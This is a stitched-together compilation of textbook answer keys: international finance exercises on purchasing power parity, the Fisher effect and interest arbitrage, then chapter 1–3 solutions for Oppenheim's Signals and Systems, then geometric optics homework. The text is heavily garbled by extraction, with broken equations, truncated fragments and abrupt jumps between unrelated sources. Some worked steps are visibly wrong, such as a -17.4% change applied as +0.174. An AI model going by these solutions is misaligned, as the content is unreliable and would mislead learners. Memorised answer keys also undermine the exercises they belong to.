R$1.95/$. The consensus forecast for the U.S. and Brazil inflation rates for the next 1-year period is 2.6% and 20.0%, respectively. How would you forecast the exchange rate to be at around November 1, 2000?Solution: Since the inflation rate is quite high in Brazil, we may use the purchasing power parity to forecast the exchange rate.E(e)= E(π$) - E(πR$)= 2.6% - 20.0%= -17.4%E(S T)= S o(1 + E(e))= (R$1.95/$) (1 + 0.174)= R$2.29/$7. (CFA question) Omni Advisors, an international pension fund manager, uses the concepts of purchasing power parity (PPP) and the International Fisher Effect (IFE) to forecast spot exchange rates. Omni gathers the financial information as follows:Base price level 100Current U.S. price level 105Current South African price level 111Base rand spot exchange rate $0.175Current rand spot exchange rate $0.158Expected annual U.S. inflation 7%Expected annual South African inflation 5%Expected U.S. one-year interest rate 10%Expected South African one-year interest rate 8%Calculate the following exchange rates (ZAR and USD refer to the South African and U.S. dollar, respectively).a. The current ZAR spot rate in USD that would have been forecast by PPP.b. Using the IFE, the expected ZAR spot rate in USD one year from now.c. Using PPP, the expected ZAR spot rate in USD four years from now.Solution:a. ZAR spot rate under PPP = [1.05/1.11](0.175) = $0.1655/rand.b. Expected ZAR spot rate = [1.10/1.08] (0.158) = $0.1609/rand.c. Expected ZAR under PPP = [(1.07)4/(1.05)4] (0.158) = $0.1704/rand.8. Suppose that the current spot exchange rate is €1.50/₤and the one-year forward exchange rate is €1.60/₤.The one-year interest rate is 5.4% in euros and 5.2% in pounds. You can borrow at most €1,000,000 or the equivalent pound amount, i.e., ₤666,667, at the current spot exchange rate.a.Show how you can realize a guaranteed profit from covered interest arbitrage. Assume that you are aeuro-based investor. Also determine the size of the arbitrage profit.b.Discuss how the interest rate parity may be restored as a result of the abovetransactions.c.Suppose you are a pound-based investor. Show the covered arbitrage process anddetermine the pound profit amount.Solution:a. First, note that (1+i €) = 1.054 is less than (F/S)(1+i €) = (1.60/1.50)(1.052) = 1.1221.You should thus borrow in euros and lend in pounds.1)Borrow €1,000,000 and promise to repay €1,054,000 in one year.2)Buy ₤666,667 spot for €1,000,000.3)Invest ₤666,667 at the pound interest rate of 5.2%; the maturity value will be ₤701,334.4)To hedge exchange risk, sell the maturity value ₤701,334forward in exchange for €1,122,134.The arbitrage profit will be the difference between €1,122,134 and €1,054,000, i.e., €68,134.b. As a result of the above arbitrage transactions, the euro interest rate will rise, the poundinterest rate will fall. In addition, the spot exchange rate (euros per pound) will rise and the forward rate will fall. These adjustments will continue until the interest rate parity is restored.c. The pound-based investor will carry out the same transactions 1), 2), and 3) in a. But to hedge, he/she will buy €1,054,000 forward in exchange for ₤658,750.The arbitrage profit will then be ₤42,584= ₤701,334 - ₤658,750.9. Due to the integrated nature of their capital markets, investors in both the U.S. and U.K. require the same real interest rate, 2.5%, on their lending. There is a consensus in capital markets that the annual inflation rate is likely to be 3.5% in the U.S. and 1.5% in the U.K. for the next three years. The spot exchange rate is currently $1.50/£.pute the nominal interest rate per annum in both the U.S. and U.K., assuming that the Fishereffect holds.b.What is your expected future spot dollar-pound exchange rate in three years from now?c.Can you infer the forward dollar-pound exchange rate for one-year maturity?Solution.a. Nominal rate in US = (1+ρ)(1+E(π$)) – 1 = (1.025)(1.035) – 1 = 0.0609 or 6.09%.Nominal rate in UK= (1+ρ)(1+E(π₤)) – 1 = (1.025)(1.015) – 1 = 0.0404 or 4.04%.b. E(S T) = [(1.0609)3/(1.0404)3] (1.50) = $1.5904/₤.c. F = [1.0609/1.0404](1.50) = $1.5296/₤.Mini Case: Turkish Lira and the Purchasing Power ParityVeritas Emerging Market Fund specializes in investing in emerging stock markets of the world. Mr. Henry Mobaus, an experienced hand in international investment and your boss, is currently interested in Turkish stock markets. He thinks that Turkey will eventually be invited to negotiate its membership in the European Union. If this happens, it will boost the stock prices in Turkey. But, at the same time, he is quite concerned with the volatile exchange rates of the Turkish currency. He would like to understand what drives the Turkish exchange rates. Since the inflation rate is much higher in Turkey than in the U.S., he thinks that the purchasing power parity may be holding at least to some extent. As a research assistant for him, you were assigned to check this out. In other words, you have to study and prepare a report on the following question: Does the purchasing power parity hold for the Turkish lira-U.S. dollar exchange rate? Among other things, Mr. Mobaus would like you to do the following:a.Plot the past exchange rate changes against the differential inflation rates betweenTurkey and the U.S. for the last four years.b.Regress the rate of exchange rate changes on the inflation rate differential to estimatethe intercept and the slope coefficient, and interpret the regression results.Data source: You may download the consumer price index data for the U.S. and Turkey from the following website: /home/0,2987,en_2649_201185_1_1_1_1_1,00.html, “hot file” (Excel format) . You may download the exchange rate data from the website: merce.ubc.ca/xr/data.html.Solution:a. In the current solution, we use the monthly data from January 1999 – December 2002.IM-123.095) (t 1.472βˆ0.649)- (t 0.011αˆε Inf_US) -Inf_Turkey (βˆαˆ e t t ===-=++= The estimated intercept is insignificantly different from zero, whereas the slope coefficient is positive and significantly different from zero. In fact, the slope coefficient is insignificantly different from unity. [Note that t-statistics for β = 1 is 0.992 = (1.472 – 1)/0.476 where s.e. is 0.476] In other words, we cannot reject the hypothesis that the intercept is zero and the slope coefficient is one. The results are thussupportive of purchasing power parity.。

(完整版)信号与系统奥本海姆_习题答案

(完整版)信号与系统奥本海姆_习题答案

∑ {δ [n + 4m - 4k ] - δ [n + 4m - 1 - 4k ]}∑ {δ [n - 4(k - m )] - δ [n - 1 - 4(k - m )]}∑ {δ [n - 4k ] - δ [n - 1 - 4k ]}s Because g (t ) =∑ δ (t - 2k ) ,Chapter 1 Answers1.6 (a).NoBecause when t<0, x (t ) =0. 1(b).NoBecause only if n=0, x [n ] has valuable.2(c).Y esBecause x[n + 4m ] ===∞ k =-∞ ∞ k =-∞ ∞ k =-∞N=4.1.9 (a). T=π /5Because w =10, T=2π /10= π /5.(b). Not periodic.Because x (t ) = e -t e - jt , while e -t is not periodic, x (t ) is not periodic.2 2(c). N=2Because w =7 π , N=(2 π / w )*m, and m=7.0 0(d). N =10Because x (n) = 3e j 3π / 10 e j (3π / 5)n , that is w =3 π /5, N=(2 π / w )*m, and m=3.4 0(e). Not periodic.Because w =3/5, N=(2 π / w )*m=10π m/3 , it ’not a rational number .1.14 A1=3, t1=0, A2=-3, t2=1 or -1Solution: x(t) isdx(t )dtis∞ k =-∞1.15. (a). y[n]=2x[n-2]+5x[n-3]+2x[n-4]dx(t ) dx(t )=3g(t)-3g(t -1) or =3g(t)-3g(t+1)d t dt2 22 12Solution:y [n ] = x [n - 2] + 1x [n - 3] 2 2 1= y [n - 2] + y [n - 3]1 1= {2 x [n - 2] + 4 x [n - 3]} + {2 x [n - 3] + 4 x [n - 4]}1 1 1 1 =2 x [n - 2] + 5x [n - 3] + 2 x [n - 4]1 11Then, y[n ] = 2 x [n - 2] + 5x[n - 3] + 2 x [n - 4](b).No. For it ’s linearity .the relationship be tw e en y [n ] and x [n ] is the same in-out relationship with (a).1 2you can have a try.1.16. (a). No.For example, when n=0, y[0]=x[0]x[-2]. So the system is memory . (b). y[n]=0.When the input is A δ [n ] ,then, y[n] = A 2δ [n]δ [n - 2] , so y[n]=0.(c). No.For example, when x[n]=0, y[n]=0; when x[n]= A δ [n ] , y[n]=0.So the system is not invertible.1.17. (a). No.For example, y(-π ) = x(0) . So it ’s not causal.(b). Y es.Because : y (t ) = x (sin(t )) ,y (t ) = x (sin(t ))1 122ay (t ) + by (t ) = ax (sin(t )) + bx (sin(t ))1 2121.21. Solution:W e(a).have known:(b).(c).(d).1.22.Solution:W e have known:(a).(b).(e).22 E {x(t )} =(g)1.23. Solution:For1[ x (t ) + x(-t )] v 1O {x(t )} = [ x (t ) - x(-t )] dthen, (a).(b).(c).1.24.2Solution:For:E {x[n ]} = v 1 2( x [n ] + x[-n ])1O {x[n]} = ( x [n ] - x[-n ]) dthen,(a).(b).Solution: x(t ) = E {cos(4π t )u(t )}s(c).1.25. (a). Periodic. T=π /2.Solution: T=2π /4= π /2. (b). Periodic. T=2.Solution: T=2π / π =2. (d). Periodic. T=0.5.v1= {cos(4πt )u (t ) + cos(4π (-t ))u (-t )}2 1= cos(4π t ){u (t ) + u(-t )}2 1= cos(4π t )2So, T=2π /4 π =0.51.26. (a). Periodic. N=7Solution: N= 2π* m =7, m=3.6π / 7(b). Aperriodic.Solution: N= 2π 1/ 8* m = 16m π , it ’not rational number .(e). Periodic. N =16Solution as follow:2 cos( n ) , it ’s period is N=2π *m/( π /4)=8, m=1.sin( n ) , it ’s period is N=2π *m/( π /8)=16, m=1.(2). g (t ) ∑δ (t - 2k )π π π πx[n ] = 2 cos( n ) + sin( n ) - 2 cos( n + 4 8 2 6)in this equation,π4 π8π π- 2 cos( n + 2 6) , it ’s period is N=2π *m/( π /2)=4, m=1.So, the fundamental period of x[n ] is N=(8,16,4)=16.1.31. SolutionBecausex (t ) = x (t ) - x (t - 2), x (t ) = x (t + 1) + x (t ) .2 11311According to LTI property ,y (t ) = y (t ) - y (t - 2), y (t ) = y (t + 1) + y (t )2 11311Extra problems:1. SupposeSketch y(t ) = ⎰t-∞x(t )dt .Solution:2. SupposeSketch:(1). g (t )[δ (t + 3) + δ (t + 1) - 2δ (t - 1)]∞k =-∞Because x[n]=(1 2 0 –1) , h[n]=(2 0 2) , the nSolution: (1).(2).Chapter 22.1 Solution:-1(a).So,y [n ] = 2δ [n + 1] + 4δ [n ] + 2δ [n - 1] + 2δ [n - 2] - 2δ [n - 4]1(b). according to the property of convolutioin:y [n ] = y [n + 2]2 1(c). y [n] = y [n + 2]31=∑ x[k ]h [n - k ]( ) 0 - ( ) (n +2)-2+1= ∑ ( ) k -2 u[n] = 2 u[n]2 ⎩0, elsewhere W e have known: x[n] = ⎨ ⎩0,elsewhere , h[n] = ⎨ ,( N ≤ 9 ), , ∑ h[k ]u[n - k ]∑ (u[k ] - u[k - N - 1])(u[n - k ] - u[n - k - 10])∑ (u[k ] - u[k - N - 1])(u[4 - k ] - u[-k - 6])⎧∑ 1,...N ≤ 4⎪∑1,...N ≥ 4 ⎪⎩∑ (u[k ] - u[k - N - 1])(u[14 - k ] - u[4 - k ])2.3 Solution:y[n ] = x[n ]* h [n ]∞ k =-∞ ∞1= ∑ ( ) k -2 u [k - 2]u [n - k + 2]2k =-∞1 1 n +2 121 k =2 1 -21= 2[1 - ( ) n +1 ]u [n ]2the figure of the y[n] is:2.5 Solution:⎧1 ....0 ≤ n ≤ 9 ....⎧1 0≤ n ≤ N .... Then,x[n] = u[n] - u[n - 10] , h[n] = u[n] - u[n - N - 1]y[n] = x[n]* h[n] =∞k =-∞=∞ k =-∞So, y[4] =∞ k =-∞N⎪ ⎪ = ⎨k =04k =0=5, the n N ≥ 4And y[14] =∞ k =-∞⎧∑ 1,...N ≤ 14⎪∑1,...N ≥ 14 ⎪⎩ ∑ x[k ]g [n - 2k ]∑ x[k ]g [n - 2k ] = ∑ δ [k - 1]g [n - 2k ] = g [n - 2]∑ x[k ]g [n - 2k ] = ∑ δ [k - 2]g [n - 2k ] = g [n - 4]∑ x[k ]g [n - 2k ] = ∑ u[k ]g [n - 2k ] = ∑ g [n - 2k ]N⎪ ⎪= ⎨ k =514k =5∴N = 4=0, the n N < 52.7 Solution:y[n] =∞k =-∞(a ) x[n] = δ [n - 1] , y[n] =∞∞k =-∞ k =-∞ (b)x[n] = δ [n - 2] , y[n] =∞∞k =-∞k =-∞(c) S is not LTI system..(d) x[n] = u[n] , y[n] =∞ ∞∞k =-∞k =-∞ k =02.8 Solution:y(t ) = x(t ) * h (t ) = x(t ) *[δ (t + 2) + 2δ (t + 1)]= x(t + 2) + 2 x (t + 1)Then,⎩ = ⎰ u(τ - 3)e -3(t -τ )u(t - τ )d τ - ⎰ u(τ - 5)e -3(t -τ )u(t - τ )d τ⎩= u(t - 3)⎰ e -3(t -τ ) d τ - u(t - 5)⎰ e -3(t -τ ) d τ⎧t + 3,..... - 2 < t < -1 ⎪4,.......... t = -1 ⎪⎪That is, y(t ) = ⎨t + 4,..... - 1 < t ≤ 0⎪2 - 2t,....0 < t ≤ 1 ⎪ ⎪0,....... others2.10 Solution:(a). W e know:Then,h '(t ) = δ (t ) - δ (t - α )y '(t ) = x(t ) * h '(t ) = x(t ) *[δ (t ) - δ (t - α )]= x(t ) - x(t - α )that is,⎧t,.....0 ≤ t ≤ α ⎪α ,....α ≤ t ≤ 1So, y(t ) = ⎨⎪1 + α - t,.....1 ≤ t ≤ 1 + α ⎪0,.....others(b). From the figure of y '(t ) , only if α = 1 , y '(t ) would contain merely therediscontinuities.2.11 Solution:(a).y(t ) = x(t ) * h(t ) = [u (t - 3) - u (t - 5)]* e -3t u (t )∞ ∞-∞-∞tt35= ⎨⎰ e -3(t -τ ) d τ = ,.....3 ≤ t < 5 ⎪ 3 ⎪⎰ e -3(t -τ ) d τ - ⎰ e -3(t -τ ) d τ = - e ⎪ t9-3t + e 15-3t ⎪⎩ s y(t ) = e -t u (t ) * ∑ δ (t - 3k ) = ∑ [e = ∑ e -(t -3k )u (t - 3k )y(t ) = e -t [ ∑ e 3k u (t - 3k )] = e -t∑ ew [n ] = 1w [n - 1] + x[n ]⎧⎪ ⎪0,................. t < 3⎪ t1 - e 9-3t3t353,...... t ≥ 5(b). g (t ) = (dx(t ) / dt ) * h(t ) = [δ (t - 3) - δ (t - 5)]* e -3t u (t )= e -3(t -3) u (t - 3) - e -3(t -5) u (t - 5)(c). It ’obvious that g (t ) = d y (t ) / dt .2.12 Solution∞∞k =-∞k =-∞∞k =-∞Considering for 0 ≤ t < 3 ,we can obtain-t u (t ) * δ (t - 3k )]∞k =-∞0 k =-∞3k= e -t 11 - e -3.(Because k mu st be negetive , u (t - 3k ) = 1 for 0 ≤ t < 3 ).2.19 Solution:(a). W e have known:2 (1)y[n ] = αy[n - 1] + βw [n ](2)then, H ( E ) = H ( E ) H ( E ) =βE 2= .... or : (α + ) = ∴⎨ 2 8 ⎝ 2 = - E ∴ h [n ] = ⎢2( ) n - ( ) n ⎥u [n ] ⎩Θ⎰⎰ sin(2πt )δ (t + 3)dt has value only on t = -3 , but - 3 ∉ [0,5]⎰ sin(2πt )δ (t + 3)dt =0Θ⎰-4from (1), H ( E ) =E1E -1 2from (2), H ( E ) =2 βEE - α121 ( E - α )(E - )2 = β1 α 1 - (α + ) E -1 + E -22 21 α∴ y[n ] - (α + ) y[n - 1] + y[n - 2] = βx[n ]2 21 3but, y[n ] = - y[n - 2] + y[n - 1] + x[n ]8 4⎧α 1 ⎛1 ⎪ 3 ⎫ ⎪4 ⎭ ⎧ 1 ⎪α = ∴⎨ 4⎪β = 1(b). from (a), we know H ( E ) = H ( E ) H ( E ) =1 22E +1 1 E - E -4 2⎡ 1 1 ⎤ ⎣ 24 ⎦2.20 (a). 1⎪⎩β = 1E 21 1 ( E - )(E - ) 4 2(b). 0∞-∞ u (t ) cos(t )dt =⎰∞ δ (t ) cos(t )dt = cos(0) = 1-∞Θ∴(c). 05 0 5 05-5 u (1 - τ ) cos(2πτ )d τ = -⎰6 u (t ) cos(2πt )dt1 1= -⎰6 δ '(t ) cos(2πt )dt-4= cos '(2π t ) |t =0= -2π sin(2πt ) |t =0= 0∑ δ (t - kT ) * h (t )∑ h (t - kT )⎰ y(t )d t , A = ⎰ x(t )dt ,A = ⎰ h(t )d t .⎰ x(τ ) x (t - τ )d τ⎰ y(t )dt = ⎰ ⎰ x(τ ) x (t - τ )d τd t= ⎰ ⎰ x(τ ) x (t - τ )dtd τ = ⎰ x(τ ) ⎰ x(t - τ )dtd τ⎰ x(τ ) ⎰ x(ξ )d ξ d τ = ⎰ x(τ )d τ{ ⎰ x(ξ )d ξ}2.23 Solution:Θ y(t ) = x(t ) * h (t ) =∞k =-∞=∞ k =-∞∴2.27 SolutionA = y∞ ∞ ∞ x h-∞ y(t ) = x(t )* h(t ) = -∞ -∞ ∞-∞A = y∞ ∞ ∞-∞ -∞ -∞∞ ∞∞∞-∞ -∞-∞ -∞= ∞ ∞ ∞ ∞-∞= A Ax h-∞ -∞ -∞⎰e ⎰ eδ (τ - 2)d τ = ⎰ e⎰ u(τ + 1)eu(t - 2 - τ )d τ - ⎰ u(τ - 2)e= u(t - 1) ⎰ ed τ - u(t - 4) ⎰ e-(t -2-τ )d τ2.40 Solution(a) y(t ) = t-(t -τ) x(τ - 2)d τ ,Let x(t ) = δ (t ) ,then y(t ) = h (t ) .-∞So , h(t ) = t t -2-(t -τ ) -∞-∞-(t -2-ξ )δ (ξ )d ξ = e -(t -2)u(t - 2)(b)y(t ) = x(t )* h(t ) = [u(t + 1) - u(t - 2)]* e -(t -2)u(t - 2)=∞ ∞ -(t -2-τ )-∞-∞-(t -2-τ )u(t - 2 - τ )d τt -2-1-(t -2-τ ) t -2 2= u(t - 1)[e -(t -2) e τ ]| t -2 -u(t - 4)[e -(t -2) e τ ]| t -2-1 2= [1- e -(t -1) ]u(t - 1) - [1- e -(t -4) ]u(t - 4)2.46 SolutionBecaused d dx(t ) = [ 2e -3t ]u (t - 1) + 2e -3t [ u (t - 1)] d t dt d t= -3x(t ) + 2e -3t δ (t - 1) = -3x(t ) + 2e -3δ (t - 1) .From LTI property ,we knowdd tx(t ) → -3 y (t ) + 2e -3 h (t - 1)whereh (t ) is the impulse response of the system.So ,following equation can be derived.2e -3h(t - 1) = e -2t u (t )Finally, h (t ) = 12e 3e -2(t +1)u (t + 1)2.47 SoliutionAccording to the property of the linear time-invariant system:(a). y(t ) = x(t ) * h(t ) = 2 x (t ) * h (t ) = 2 y (t )0 0(b). y(t ) = x(t ) * h(t ) = [ x (t ) - x (t - 2)]* h(t )1y(t)= x (t ) * h (t ) - x (t - 2) * h (t )0 2 4t= [ y (t )] = y (1). Because H ( P ) = 1so h (t ) = (1= 2 + E - E ⎪ [ ]⎪δ [k ] = i (-1 - i) n- (-1 + i) n u [n] so h [n ] = 2 2 i= y (t ) - y (t - 2)0 0(c). y(t ) = x(t ) * h(t ) = x (t - 2) * h (t + 1) = x (t - 2) * h (t ) * δ (t + 1) = y (t - 1)0 0(d). The condition is not enough.(e). y(t ) = x(t ) * h(t ) = x (-t ) * h (-t )0 0= ⎰∞ x (-τ )h (-t + τ )d τ-∞ = ⎰∞x (m )h (-t - m )dm = y (-t )-∞(f). y(t ) = x(t ) * h (t ) = x ' (-t ) * h ' (-t ) = [ x ' (-t ) * h (-t )] ' ' ' " (t )Extra problems:1. Solute h(t), h[n](1). d 2 dy(t ) + 5 y(t ) + 6 y(t ) = x(t )dt 2 dt(2). y[n + 2] + 2 y[n + 1] + 2 y[n ] = x[n + 1]Solution:1 1 - 1= = +P 2 + 5P + 6 ( P + 2)( P + 3) P + 2 P + 3- 1+)δ (t ) = (e -2t - e -3t )u (t )P + 2P + 3(2). Because H ( E ) = E E E= =E 2 + 2E + 2 ( E + 1) 2 + 1 ( E + 1 + i)( E + 1 - i)i i E - E2E + 1 + i E + 1 - i⎛ i ⎫+E + 1 + i E + 1 - i ⎪ 2 ⎪ ⎝ ⎭x(t ) = ∑ for the period of cos( 5πt ) is T = 63the period of sin( 22⎰ x 2 (t )e - jkw 2t d t = ⎰ ( x 1 (1- t ) + x 1 (t - 1))e - jkw 1t dtT T TChapter 33.1 Solution:Fundamental period T = 8 . ω = 2π / 8 = π / 4∞a e j ω0kt = a e j ω0t + a e - j ω0t + a e j 3ω0t + a e - j 3ω0tk 1 -1 3 -3k =-∞ = 2ej ω0t+ 2e - j ω0t + 4 je j 3ω0t - 4 je - j3ω0t π 3π= 4cos( t ) - 8sin( t )4 43.2 Solution:for , a = 1 , a0 -2= e - j π / 4 , a = e j π / 4 , a 2-4= 2e - j π / 3 , a = 2e j π / 34x[n] = ∑ a e jk (2π / N )nkk =< N >= a + a e j (4π / 5)n + a e - j (4π / 5)n + a e j (8π / 5)n + a e - j (8π / 5)n0 2-24-4= 1 + e j π / 4 e j (4π / 5)n + e - j π / 4 e - j (4π / 5)n + 2e j π / 3e j (8π / 5)n + 2e - j π / 3e - j (8π / 5)n4 π 8 π= 1 + 2 cos( πn + ) + 4 cos( πn + )5 4 5 3 4 3π 8 5π= 1 + 2sin( πn + ) + 4sin( πn + )5 4 5 63.3 Solution:2πt ) is T= 3 , 3so the period of x(t ) is 6 , i.e. w = 2π / 6 = π / 32π 5π x(t ) = 2 + cos(t ) + 4sin(t )331= 2 + cos(2w t ) + 4sin(5w t )0 0 1= 2 + (e j 2w 0t + e - j 2w 0t ) - 2 j(e j5w 0t - e - j5w 0t )2 then, a = 2 , a 0 -2 1= a = , a 2 -5 = 2 j , a = -2 j 53.5 Solution:(1). Because x (t ) = x (1 - t ) + x (t - 1) , the n x (t ) has the same period as x (t ) ,21121that is T = T = T ,w = w2121(2). b = 1 k⎰ x 1 (1- t )e - jkw 1t d t + 1 ⎰ x 1 (t - 1)e - jkw 1t dt ∑∑⎰ x(t ) 2 dt = a 0 2 + a -1 2 + a 1 2 = 2 a 1 2 = 1 Fundamental period T = 8 . ω = 2π / 8 = π / 4∑∑ a H ( jkw )ejkw 0tk ω ⎩0,......k ≠ 0⎧ ∑t Because a =⎰ x(t )d t = 1⎰4 1d t + 1 ⎰ 8(-1)d t = 0TT88 4= 1 T T T T= a e - jkw 1 + a e - jkw 1 = (a -k k3.8 Solution:-k+ a )e - jkw 1 kΘx(t ) =∞ k =-∞a e jw 0ktkwhile:andx(t ) is real and odd, the n a = 0 , a = -a 0 kT = 2 , the n w = 2π / 2 = πa = 0 for k > 1k-ksox(t ) =∞ a e jw 0kt = a + a e - jw 0t + a e jw 0tk 0 -1 1k =-∞= a (e j πt - e - j πt ) = 2a sin(π t )11for1 2 2 0∴∴a = ± 2 /21x(t ) = ± 2 sin(π t )3.13 Solution:Θx(t ) =∞ k =-∞a e jw 0ktk∴ y(t ) =∞k 0k =-∞H ( jk ω ) = sin(4k ω0 ) =⎨4,...... k = 00 0 ∴ y(t ) =∞a H ( jkw )e jkw 0= 4a k 00 k =-∞1Soy(t ) = 0 .∑∑a H(jkw)e jkw0tT t H(jw)=⎨if a=0,it needs kw>100T ⎰T⎰t dt=0T ⎰x(t)e-jkw0t dt=⎰te-jk22t dt=1⎰1te-jkπt dt11⎰1tde-jkπt2jkπ⎢-1⎦⎢(e-jkπ+e jkπ)-⎥-jkπ2c os(kπ)+-jkπ⎥⎦[2cos(kπ)]=j cos(kπ)=j(-1)k............k≠03.15Solution:Θx(t)=∞k=-∞a e jw0kt k∴y(t)=∞k=-∞k0∴a=1k ⎰Ty(t)H(jkw)e-jkw0d tfor⎧⎪1,......w≤100⎪⎩0,......w>100∴k0that is k2π100 >100,.......k>π/612and k is integer,so K>8 3.22Solution:a=10x(t)dt=112-1a= k 1T2-12-1π=-1 2jkπ-1=-1⎡⎢te-jkπt⎣1-1-e-jkπt-jkπ1⎤⎥⎥=-=-12jkπ12jkπ⎡(e-jkπ-e jkπ)⎤⎣⎦⎡2sin(kπ)⎤⎢⎣=-12jkπkπkπ⎰ h (t )e - j ωt d t = ⎰ e -4 t e - j ωt d t= ⎰ e e d t + ⎰ e -4t e - j ωt d t∑0 ∑∑Ta = ⎰ x(t )e - jkw 0t d t = ⎰1/ 2 δ(t )e - jk 2πt d t = 1T T-1/ 2 ∑T∑ (-1) δ (t - n ) .T=2, ω = π , a = 1T a = ⎰ x(t )e - jkw 0t d t = ⎰ δ (t )e - jk πt d t + ⎰ 3/ 2 (-1)δ (t - 1)e - jk πt d tT 2 -1/ 2 2 1/ 2 T 16 + (k π )23.34 Solution:∞ ∞H ( j ω ) =-∞-∞0 ∞ 4t - j ωt-∞118=+=4 - j ω 4 + j ω 16 + ω 2A periodic continous-signal has Fourier Series:. x(t ) =T is the fundamental period of x(t ) . ω = 2π / T∞ k =-∞a e j ω ktkThe output of LTI system with inputed x(t ) is y(t ) =Its coefficients of Fourier Series: b = a H ( jk ω )k k 0∞ k =-∞a H ( jk ω )e jk ω tk 0(a) x(t ) =∞ n =-∞ δ (t - n ) .T=1, ω = 2π a = 1 = 1 .0 k1 k(N ot e :If x(t ) =∞ n =-∞δ (t - nT ) , a =1 k)So b = a H ( jk 2π ) = k k 8 2=16 + (2k π )2 4 + (k π )2(b) x(t ) = ∞n =-∞n0 k= 11 1 1/2 1 k1= [1- (-1)k ] 24[1-(-1)k ]So b = a H ( jk π ) = ,k k(c) T=1, ω = 2π⎰ x(t )e - jk ω0t d t = ⎰1/ 4e - jk 2πt d t =∑∑ a H ( jkw )ejkw 0t⎪⎩0,......otherwise ⎩0,......otherwise H ( jw) = ⎨⎪, 14Let y(t ) = x(t ) , b = a , it needs a = 0 ,for k < 18..or .. k ≤ 17 .∑∑∑ 2n e - j ωn + ∑ ( )n e - j ωn1 =2 41 1 5∑a ejk ( N )n .a = k1 T T -1/ 4 k π sin(2 k π)b = a H ( jk π ) =k k k π8sin( )2 k π [16 + (2k π )2 ]3.35 Solution: T= π / 7 , ω = 2π / T = 14 .Θx(t ) =∞a e jw 0ktk∴y(t ) =k =-∞ ∞ k =-∞k 0∴b = a H ( jkw )k k 0for ⎧1,...... w ≥ 250 ⎧1,...... k ≥ 170 that is k ω 0 < 250,....... k < 250, and k is integer , so k < 18..or .. k ≤ 17 .kkk3.37 Solution:H (ej ω) = ∞n =-∞h [n ]e- j ωn=∞ n =-∞1 ( ) ne - j ωn 2-1∞1= 2n =-∞ n =0 1 3e j ω+ =1 - e j ω 1 - e - j ω - cos ω2 2 4A periodic sequen ce has Fourier Series: x [n ] =N is the fundamental period of x[n ] .k =< N >k2πThe output of LTI system with inputed x[n ] is y[n ] =∑ a H (ekj 2π k N)ejk ( 2π )n N .k =< N >∑4 .So b = a H (e j N k ) = 1 4 45 - cos( 2π k ) k =2 21 T ' 1 3T '-1 = ⎰ x(3t - 1)e T ' dt = ⎰ x(m )e = ⎰ x(m )e e⎡ 1T -1 T ⎢⎰∑a e jk (2π/T )t ,where a = 0 for every2π Its coefficients of Fourier Series: b = a H (ejN k )kk3(a) x[n ] =∞ k =-∞δ [n - 4k ] .N=4, a = 1 k k k 2π 4 4b =k3 165 π- cos( k ) 4 23.40 Solution:According to the property of fourier series:(a). a k '= a e - jkw 0t 0 + a e jkw 0t 0 = 2a cos(kw t ) = 2a cos(k k k k 0 0 k 2π t )T 0(b). Because E {x(t )} =v x(t ) + x(-t )2a ' a + a k 2-k= E {a }v k(c). Because R {x(t )} = x(t ) + x * (t )e'a + a *a = k-k k(d). a '= ( jkw ) 2 a = ( jk k 0 k 2πT) 2 ak(e). first, the period of x(3t - 1) is T ' =T3th e n ak ' 2π - jk t T ' 0 T ' -11 T -12π 2π - jkm - jk dmT TT -1- jk 2π m +1 dm T ' 3 3= e- jk 2π ⎣ T -1x(m )e2π- jk m T⎤dm ⎥⎦2π = a e- jk Tk3.43 (a) Proof:( i ) Because x(t ) is odd harmonic , x(t ) =non-zer o even k.∞ k =-∞k kx(t + ) = ∑ a e jk (2π /T )(t + 2 )T 2∑= - ∑ a e jk (2π /T )t(ii )Because of x(t ) = - x (t + ) ,we get the coefficients of Fourier Seriesa = ⎰ x(t )e - jk 2T π t d t = 1 ⎰ T / 2 x(t )e - jk 2T π t d t + 1 ⎰ T x(t )e - jk 2T π t d tT 0 T 0 T T /2 1 T /2 1 T /2 = ⎰ T dt + ⎰ x(t + T / 2)e x(t )e 1 T /2 1 T /2 = ⎰ x(t )eT dt - ⎰ x(t )(-1)k e T dt 1T /2It is obvious that a = 0 for every non-zer o even k. So x(t ) is odd harmonic ,-11x(t ) = ∑ δ (t - kT ) , T = π∞ T k k =-∞= ∞a e jk π e jk (2π /T )tkk =-∞∞kk =-∞It is noticed that k is odd integers or k=0.That meansTx(t ) = - x (t + )2T21 T k2π - jk t T 0 T 0 2π- jk (t +T / 2) Tdt2π 2π- jk t - jk t T 0 T 0= [1- (-1)k ] ⎰T 02π x(t )e- jk Tt d tk(b) x(t )1......-2-12 tExtra problems:∞ k =-∞(1). Consider y(t ) , when H ( jw) isx(t ) = ∑ δ (t - kT ) ↔T π T∑ a H ( jkw )ejkw 0t=1k =-∞ π∑∑π∑1(2). Consider y(t ) , when H ( jw) isSolution:∞k =-∞ 1 1 2π= , w = = 2 0(1).y(t ) =∞k 0∞k =-∞a H ( j 2k )e j 2ktk=2π (for k can only has value 0)(2).y(t ) =∞ k =-∞a H ( jkw )e jkw 0t =1k 0∞k =-∞a H ( j 2k )e j 2ktk=1π (e - j 2t + e j 2t ) =2 cos 2tπ(for k can only has value – and 1)。

工程光学英文题加中文题含答案

工程光学英文题加中文题含答案

English Homework for Chapter 11.In ancient times the rectilinear propagation of light was used to measure the height of objects by comparing the length of their shadows with the length of the shadow of an object of known length. A staff 2m long when held erect casts a shadow 3.4m long, while a building’s shadow is 170m long. How tall is the building?Solution. According to the law of rectilinear propagation, we get, x=100 (m)So the building is 100m tall.2.Light from a water medium with n=1.33 is incident upon a water-glass interface at an angle of 45o. The glass index is 1.50. What angle does the light make with the normal in the glass?Solution. According to the law of4.32170 xrefraction, We get,So the light makenormal in the glass.3. A goldfish swims 10cm from the side of a spherical bowl of water of radius 20cm. Where does the fish appear to be? Does it appear larger or smaller?Solution. According to the equation. and n ’=1 , n=1.33, r=-20we can getSo the fish appears larger.''sin sin I n I n =626968.05.145sin 33.1sin =⨯='I8.38='I rn n l n l n -'=-''11416.110133.15836.8)(5836.81165.02033.01033.11>-=⨯⨯-=''=-='∴-=--+-=-'+='l n l n cm l r n n l n l β n A4.An object is located 2cm to the left of convex end of a glass rod which has a radius of curvature of 1cm. The index of refraction of the glass is n=1.5. Find the image distance.Solution. Refer to the figure. According to the equationand n=1, n ’=1.5, l 1=-2cm,rn n l n l n -'=-''r 1=1cm , we getEnglish Homework for Chapter 21.An object 1cm high is 30cm in front of a thin lens with a focal length of 10cm. Where is the image? Verify your answer by graphical construction of the image. Solution. According toequation, and l=-30cm f ’we getOthers are omitted.cm l l d l l l 